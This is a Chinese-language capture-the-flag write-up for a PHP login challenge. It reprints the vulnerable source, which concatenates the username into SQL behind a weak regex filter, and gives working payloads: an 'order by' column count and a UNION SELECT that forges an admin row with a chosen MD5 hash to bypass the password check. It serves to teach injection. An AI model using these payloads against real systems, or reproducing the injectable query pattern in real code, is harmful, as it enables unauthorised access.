有点脑洞的题,题目不难,主要考察注入和联合查询的一个小特点
进入题目是一个登录框,看看源代码,在search.php文件中发现了这个
大写的字母和数字很明显是base32,先用base32解码一下,发现还有一层base64,继续解码得到后端处理的SQL语句:
select * from user where username = '$name'
发现没有验证密码,并且注入点是在username上的,admin测试一下,随便输入一个密码,返回wrong pass!
换一个用户名试试,返回wrong user!
所以可以确定的是用户名是admin,并且后端对password还是有验证的,但不是进行数据库查询,想了半天没想出来,想起来BUU题目描述中给出了Github源代码:
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5--> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Do you know who am I?</title> <?php require "config.php"; require "flag.php"; // 去除转义 if (get_magic_quotes_gpc()) { function stripslashes_deep($value) { $value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value); return $value; } $_POST = array_map('stripslashes_deep', $_POST); $_GET = array_map('stripslashes_deep', $_GET); $_COOKIE = array_map('stripslashes_deep', $_COOKIE); $_REQUEST = array_map('stripslashes_deep', $_REQUEST); } mysqli_query($con,'SET NAMES UTF8'); $name = $_POST['name']; $password = $_POST['pw']; $t_pw = md5($password); $sql = "select * from user where username = '".$name."'"; $result = mysqli_query($con, $sql); if(preg_match("/(|)|=|or/", $name)){ die("do not hack me!"); } else{ if (!$result) { printf("Error: %s ", mysqli_error($con)); exit(); } else{ $arr = mysqli_fetch_row($result); if($arr[1] == "admin"){ if(md5($password) == $arr[2]){ echo $flag; } else{ die("wrong pass!"); } } else{ die("wrong user!"); } } } ?>
重点关注这里:
if($arr[1] == "admin"){ if(md5($password) == $arr[2]){ echo $flag; } else{ die("wrong pass!"); } } else{ die("wrong user!");
发现这里对password的验证时是先将我们提交的password进行md5加密,然后和数据库返回的密码进行比较
这里了解一下union select语句的一个特点:
union select会把查询结果接在前一个查询结果后面,前面如果查到了东西,那么取得还是第一行,除非有limit 这种取第几行
所以这里我们们直接构造Payload即可:
' order by 3# //判断出三个字段 ' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'# //这里后面的password明文是123456,因为后端对我们传值进行了md5加密
然后密码填写123456即可获得Flag